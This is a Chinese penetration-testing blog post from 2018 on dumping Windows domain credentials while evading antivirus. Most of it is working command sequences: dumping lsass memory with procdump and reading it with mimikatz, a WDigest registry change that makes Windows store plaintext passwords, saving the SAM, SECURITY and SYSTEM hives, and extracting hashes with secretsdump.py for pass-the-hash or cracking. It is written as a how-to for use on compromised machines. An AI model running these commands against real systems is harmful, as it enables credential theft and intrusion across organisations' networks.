PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

绕过杀软导出域内用户hash和明文密码

2018-12-13
PythonPig

#0x00 写在前面

域渗透过程简单来说:搞定域内某机器—获取域管登录凭证—登录域控导出所有用户hash—完毕
在目标机器上使用mimikatz导出用户密码时经常遇到杀软,本文主要记录各种绕过杀软的小技巧。

图片来源于https://www.blackhillsinfosec.com/got-privs-crack-those-hashes/

本文中的方法主要有:
1、方法一:从内存中dump lsass进程的数据,本地mimikatz读取用户hash和明文密码(procdump.exe+mimikatz)
2、方法二:从注册表中读取用户hash

#0x01 从内存中dump lsass进程的数据后本地读取hash和文明密码

1、导出lsass进程的内存数据

导出lsass进程的内存数据使用的是微软官方的工具procdump.exe,肯定可以免杀。
在目标机器上执行:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

将在本目录下生成lsass.dmp

2、本地读取lsass.dmp中的密码

将lsass.dmp下载会本地后使用mimikatz读取密码,注意,本地运行mimikatz的机器版本要于目标机器版本兼容,其对应关系如下:

在本地机器上通过mimikatz执行如下命令(注意mimikatz.exe与lsass.dmp同目录):

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

由于lsass.dmp一般比较大,可能几十甚至上百兆,下载回本地比较困难,若域内有版本满足上图要求且已控并可以运行mimikatz的机器的话,可以在已控的机器上运行如下命令,毕竟域内机器之间传输lsass.dmp要快且方便的多。远程执行以下命令:

mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" >> C:\PerfLogs\log.txt
3、读取明文密码默认情况下需要目标系统满足如下条件

Windows 7
Windows 8
Windows 8.1
Windows Server 2008
Windows Server 2012
Windows Server 2012 R2

如果目标系统不满足上述条件时,可以通过修改注册表使系统内存记录用户明文密码,然后dump lsass读取明文密码(需用户重新登录),Windows Server 2016测试成功。

管理员权限执行:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

确认是否修改成功:

REG QUERY "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential 

如果UseLogonCredential的值为1时,表示修改成功。
取消记录用户明文密码:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

#0x02 从注册表中读取用户hash

1、复制注册表项

需要复制的注册表项有:

HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\SECURITY
HKEY_LOCAL_MACHINE\SYSTEM

利用系统自带的命令复制注册表项,肯定可以免杀,执行如下命令:

C:\> reg.exe save hklm\sam c:\sam.save
C:\> reg.exe save hklm\security c:\security.save
C:\> reg.exe save hklm\system c:\system.save

解释下这三个注册表项:
The SAM subkey refers to information about Security Accounts Manager (SAM) databases for domains. Within each database are group aliases, users, guest accounts, and administrator accounts, plus the name used to log in to the domain, cryptographic hashes of each user’s password, and more.

The SECURITY subkey is used to store the security policy of the current user. It’s linked to the security database of the domain where the user is logged in, or to the registry hive on the local computer if the user is logged in to the local system domain.

To see the contents of the SAM or SECURITY key, the Registry Editor must instead be opened using the System Account, which has greater permissions than any other user, even a user with administrator privileges.

HKEY_LOCAL_MACHINE\SYSTEM用来解密HKEY_LOCAL_MACHINE\SAM和HKEY_LOCAL_MACHINE\SECURITY,其中HKEY_LOCAL_MACHINE\SAM主要包含本地用户hash和用户的一些属性信息,HKEY_LOCAL_MACHINE\SECURITY主要包含缓存的域用户凭证和LSA Secrets。

2、提取注册表项中的用户hash

将sam.save、security.save和system.save下载回本地后提取用户hash,提取用户hash的工具有很多,本人常用Impacket的secretsdump.py。
执行以下命令获取sam.save中的用户hash及security.save中缓存的域用户凭证和LSA Secrets。
注意,这里在security.save获取到的域用户hash是经过加密处理的,不能用于PASS-THE-HASH Attack。

secretsdump.py  -sam sam.save -security security.save -system system.save LOCAL

执行结果如下所示

也可以单独获取hash或域用户凭证
获取sam.save中的用户hash

secretsdump.py  -sam sam.save -system system.save LOCAL

获取security.save中缓存的域用户凭证和LSA Secrets

secretsdump.py  -security security.save -system system.save LOCAL

ntlm hash可以尝试在这里破解:
cmd5
LM/NTLM hash在线破解

未完待续……

#0x03 参考


Similar Posts

Comments